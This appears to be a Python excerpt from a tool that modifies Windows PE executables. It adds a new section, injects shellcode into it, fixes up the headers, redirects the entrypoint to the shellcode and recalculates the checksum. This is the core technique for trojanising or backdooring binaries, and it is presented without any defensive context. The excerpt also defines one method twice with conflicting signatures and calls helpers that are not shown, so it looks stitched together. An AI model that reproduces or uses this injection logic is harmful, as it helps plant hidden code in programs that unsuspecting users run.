def __adjust_windows_specific_headers(self, header_offset):

        #Adjust base of data: must check whether this RVA is greater that the RVA of the section containing the shell code (section containing entrypoint).
        base_of_data_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_OF_DATA_RVA
        current_base_of_data = MultiByteHandler.get_dword_given_offset(self.binary_data, base_of_data_rva_offset_within_header)

        entrypoint_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA
        entrypoint_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, entrypoint_rva_offset_within_header)
        offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, entrypoint_rva)[1]
        entrypoint_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)

        if current_base_of_data > entrypoint_section_rva:
            MultiByteHandler.set_dword_given_offset(self.binary_data, base_of_data_rva_offset_within_header, current_base_of_data + self.rva_delta)

        size_of_image_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_IMAGE
        rva_and_virtual_size_of_last_section = Win32BinaryUtils.get_rva_and_virtual_size_for_last_section(self.binary_data, header_offset)
        potentially_unaligned_size_of_image = rva_and_virtual_size_of_last_section[0] + rva_and_virtual_size_of_last_section[1]

        #Size of Image must be aligned using SectionAlignment.
        aligned_size_of_image = potentially_unaligned_size_of_image + Win32BinaryUtils.compute_padding_size_for_section_alignment(self.binary_data, header_offset, potentially_unaligned_size_of_image)
        MultiByteHandler.set_dword_given_offset(self.binary_data, size_of_image_offset, aligned_size_of_image)
    def __adjust_windows_specific_headers(self, header_offset, new_section_rva,
                                          new_section_virtual_size):
        # SizeOfImage
        size_of_image_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_IMAGE
        potentially_unaligned_size_of_image = new_section_rva + new_section_virtual_size
        aligned_size_of_image = potentially_unaligned_size_of_image + Win32BinaryUtils.compute_padding_size_for_section_alignment(
            self.binary_data, header_offset,
            potentially_unaligned_size_of_image)
        MultiByteHandler.set_dword_given_offset(self.binary_data,
                                                size_of_image_offset,
                                                aligned_size_of_image)

        # SifeOfHeaders
        size_of_headers_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_HEADERS
        current_size_of_headers = MultiByteHandler.get_dword_given_offset(
            self.binary_data, size_of_headers_offset)
        updated_size_of_headers = current_size_of_headers + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
        padding = Win32BinaryUtils.compute_padding_size_for_file_alignment(
            self.binary_data, header_offset, updated_size_of_headers)
        MultiByteHandler.set_dword_given_offset(
            self.binary_data, size_of_headers_offset,
            updated_size_of_headers + padding)
    def modify_binary(self):

        header_offset = MultiByteHandler.get_dword_given_offset(
            self.binary_data,
            Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)
        beginning_of_last_section_header = Win32BinaryUtils.get_raw_offset_for_last_section_header(
            self.binary_data, header_offset)

        self.__set_rva_delta(header_offset)

        #Computing RVA for last section
        last_section_rva = MultiByteHandler.get_dword_given_offset(
            self.binary_data,
            beginning_of_last_section_header + Win32BinaryOffsetsAndSizes.
            OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
        last_section_virtual_size = MultiByteHandler.get_dword_given_offset(
            self.binary_data,
            beginning_of_last_section_header + Win32BinaryOffsetsAndSizes.
            OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER)
        potentially_unaligned_rva = last_section_rva + last_section_virtual_size
        new_section_rva = potentially_unaligned_rva + Win32BinaryUtils.compute_padding_size_for_section_alignment(
            self.binary_data, header_offset, potentially_unaligned_rva)

        #Computing RAW for last section
        last_section_raw_offset = MultiByteHandler.get_dword_given_offset(
            self.binary_data,
            beginning_of_last_section_header + Win32BinaryOffsetsAndSizes.
            OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER)
        last_section_raw_size = MultiByteHandler.get_dword_given_offset(
            self.binary_data,
            beginning_of_last_section_header + Win32BinaryOffsetsAndSizes.
            OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER)
        new_section_raw_offset = last_section_raw_offset + last_section_raw_size + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER + self.header_padding

        #RVA for Entrypoint
        offset_for_address_of_entrypoint_rva_on_the_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA
        entrypoint_rva = MultiByteHandler.get_dword_given_offset(
            self.binary_data,
            offset_for_address_of_entrypoint_rva_on_the_header)

        self.__file_align_shell_code(header_offset,
                                     entrypoint_rva - new_section_rva)

        self.__adjust_data_directories(header_offset)
        self.__adjust_section_headers(header_offset)
        self.__adjust_standard_coff_fields_and_coff_header(
            header_offset, len(self.shell_code))  #<-Size of code

        #Injecting header
        new_initialized_header = self.__get_new_header(
            len(self.shell_code), new_section_rva + self.rva_delta,
            len(self.shell_code), new_section_raw_offset)
        new_initialized_header.extend(
            [0 for x in range(0, self.header_padding)])
        self.__append_data_at_offset(
            new_initialized_header,
            Win32BinaryUtils.get_raw_offset_for_last_section_header(
                self.binary_data, header_offset))

        #Injecting shellcode
        self.__append_data_at_offset(self.shell_code, new_section_raw_offset)
        self.__adjust_windows_specific_headers(
            header_offset, new_section_rva + self.rva_delta,
            len(self.shell_code))

        #Redirect execution to shellcode
        self.__overwrite_entrypoint_rva(header_offset)

        self.__update_checksum(header_offset)

        return self.binary_data